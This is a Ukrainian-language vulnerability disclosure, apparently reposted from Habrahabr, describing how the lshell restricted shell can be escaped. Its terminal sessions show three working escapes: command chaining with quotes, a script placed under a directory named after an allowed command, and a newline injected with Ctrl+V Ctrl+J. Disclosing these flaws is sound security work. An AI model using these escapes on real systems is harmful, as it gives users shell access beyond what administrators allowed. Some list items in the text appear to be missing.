0day уразливості в lshell

lshell — це оболонка, яка обмежує команди та шляхи файлової системи, доступні користувачеві. Її готують як альтернативу складної настройки chroot:
і так далі, є безліч джерел, пропонують її до використання.

Додаток доступний в репозиторіях Ubuntu, Debian та EPEL.

Проблеми в коді
При побіжному огляді нотаток про lshell по конфігураційних файлів можна помітити, що частина обмежень, що вводяться lshell, служать для спрощення парсинга команд, а не для посилення безпеки. Наприклад — заборона використання крапки з комою і сабшеллов. Є сенс придивитися, як цей парсинг реалізований.

При огляді вихідного коду стає ясно, що виділення запуску команди та її аргументів виробляється бібліотекою, яка призначена для парсингу простих команд CLI і не розбирає коректно складний синтаксис шелл-команд. При цьому, не дивлячись на попередження в документації, після простої валідації команда передається шеллу /bin/sh. Валідація заслуговує окремої уваги і будується на припущеннях, що:
Ніде реального розбору синтаксису немає, тому це далеко не всі допущення, прийняті в перевірці.

Слідства
Є такі сценарії для втечі з такого обмеженого шелла.
Сценарій 1: експлуатація проблеми з лапками і ланцюгів командvladislav@dt1:~$ getent passwd testuser
testuser:x:1002:1003:,,,:/home/testuser:/usr/bin/lshell
vladislav@dt1:~$ su — testuser
Пароль:
You are in a limited shell.
Type '?' or 'help' to get the list of commands allowed
testuser:~$?
cd clear echo exit help history ll lpath ls lsudo
testuser:~$ ls
examples.desktop
testuser:~$ which bash
*** forbidden command: which
testuser:~$ ls'usb'
Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub
Bus 001 Device 006: ID 046d:c05a Logitech, Inc. M90/M100 Optical Mouse
Bus 001 Device 002: ID 046d:c31c Logitech, Inc. Keyboard K120
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
testuser:~$ echo && 'bash'

testuser@dt1:~$ PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
testuser@dt1:~$ reboot --help
reboot [OPTIONS...] [ARG]

Reboot the system.

--help Show this help
--halt Halt the machine
-p --poweroff Switch off the machine
--reboot Reboot the machine
-f, --force Force immediate halt/power-off/reboot
-w --wtmp-only don't halt/power-off/reboot, just write wtmp record
-d --no-wtmp don't write wtmp record
--no-wall don't send wall message before halt/power-off/reboot

GH Issue

Сценарій 2: запуск скрипта зі своєї домашньої директорії, шлях до якого містить ім'я дозволеної командиvladislav@dt1:~$ su — testuser
Пароль:
You are in a limited shell.
Type '?' or 'help' to get the list of commands allowed
testuser:~$?
cd clear echo exit help history ll lpath ls lsudo
testuser:~$ echo'/1.sh'
testuser@dt1:~$ cat echo/1.sh
#!/bin/bash

/bin/bash
testuser@dt1:~$

GH Issue

Сценарій 3: використання спеціальних послідовностей терміналуДостатньо почати команду з будь-якого дозволеного слова, вставити переклад рядка послідовним натисканням двох клавіш < CTRL+V><CTRL+J> і ввести будь-яку бажану команду на новому рядку.

vladislav@dt1:~$ getent passwd testuser
testuser:x:1001:1002:,,,:/home/testuser:/usr/bin/lshell
vladislav@dt1:~$ su — testuser
Пароль:
You are in a limited shell.
Type '?' or 'help' to get the list of commands allowed
testuser:~$?
cd clear echo exit help history ll lpath ls lsudo
testuser:~$ bash
*** forbidden command: bash
testuser:~$ echo<CTRL+V><CTRL+J>
bash

testuser@dt1:~$ which bash
/bin/bash

GH Issue

Найкраще рішення
Дане програмне рішення занадто далеко відстоїть від стану, в якому його можна безпечно використовувати. Тому кращим виходом буде припинення його експлуатації.
Джерело: Хабрахабр

0 коментарів

Тільки зареєстровані та авторизовані користувачі можуть залишати коментарі.